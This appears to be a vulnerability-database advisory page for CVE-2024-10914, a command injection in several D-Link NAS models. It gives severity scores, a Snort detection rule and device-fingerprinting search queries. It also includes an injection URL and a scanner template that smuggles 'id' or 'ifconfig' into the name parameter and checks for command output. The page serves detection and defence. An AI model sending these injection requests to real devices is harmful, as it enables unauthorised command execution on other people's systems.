cbcvebase.
CVE-2024-10914
published 2024-11-06

CVE-2024-10914: A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been declared as critical. Affected by this vulnerability…

PriorityP192critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
97.43%
99.9th percentile
A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been declared as critical. Affected by this vulnerability is the function cgi_user_add of the file /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. The manipulation of the argument name leads to os command injection. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used.

Affected

4 ranges
VendorProductVersion rangeFixed in
d-linkdns-320
d-linkdns-320lw
d-linkdns-325
d-linkdns-340l

Detection & IOCsextracted from sources · hover to see the quote

url/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;;%27
path/cgi-bin/account_mgr.cgi
othershodan-query: http.html:"sharecenter"
otherfofa-query: body="sharecenter"
snort
alert http any any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS D-Link NAS OS Command Injection in cgi_user_add Function (CVE-2024-10914)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cgi-bin/account_mgr.cgi|3f|"; fast_pattern; content:"cmd|3d|cgi_user_add"; content:"name|3d|"; pcre:"/^[^&]*?(?:(?:\x3b|%3[Bb])|(?:\x0a|%0[Aa])|(?:\x26|%26)|(?:\x60|%60)|(?:\x7c|%7[Cc])|(?:\x24|%24))/R"; reference:cve,2024-10914; classtype:web-application-attack; sid:2057330; rev:1; metadata:affected_product D_Link, attack_target Server, tls_state TLSDecrypt, created_at 2024_11_08, cve CVE_2024_10914, deployment Perimeter, deployment Internal, deployment SSLDecrypt, confidence High, signature_severity Major, tag Exploit, updated_at 2024_11_08, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application; target:dest_ip;)
yara
id: CVE-2024-10914
http:
- raw:
- |
  GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{{command}};%27 HTTP/1.1
  Host: {{Hostname}}
payloads:
  command:
  - "id"
  - "ifconfig"
matchers:
- type: dsl
  dsl:
  - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)"
  - "contains_all(body, 'inet addr:', 'Mask:')"
  condition: or
- type: dsl
  dsl:
  - 'contains(body, "Content-type: text/html")'
  - "status_code == 200"
  condition: and
  • Exploit is delivered via HTTP GET request to /cgi-bin/account_mgr.cgi with cmd=cgi_user_add and a shell-metacharacter-injected name parameter (e.g., semicolons, backticks, pipes, newlines encoded or raw).
  • The Snort/ET rule PCRE targets shell injection metacharacters in the name parameter: semicolon (;/%3B), newline (%0A), ampersand (&/%26), backtick (`/%60), pipe (|/%7C), dollar sign ($/%24).
  • Nuclei template confirms exploitation success by matching 'uid=...gid=...' pattern or 'inet addr:' / 'Mask:' strings in the HTTP response body, indicating OS command output returned inline.
  • Active exploitation attempts observed starting November 12, 2024; monitor for GET requests to /cgi-bin/account_mgr.cgi from external IPs targeting internal NAS devices.
  • The Mirai-based botnet ShadowV2 was observed exploiting CVE-2024-10914 alongside CVE-2024-10915 and CVE-2024-53375 for DDoS recruitment; correlate with other IoT botnet indicators.
  • Devices can be fingerprinted via the 'sharecenter' string in HTTP response body (FOFA: body="sharecenter"; Shodan: http.html:"sharecenter") to identify exposed vulnerable NAS instances.
  • ·Affected devices lack automatic update or customer outreach capabilities, meaning vulnerable devices will not self-remediate and require manual operator action.
  • ·Internet exposure is significant: FOFA scans returned 61,147 results across 41,097 unique IPs; Shadowserver observed just over 1,100 directly internet-exposed devices.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv4.09.2CRITICALCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
nvdv2.07.6HIGHAV:N/AC:H/Au:N/C:C/I:C/A:C
vulncheck9.2CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.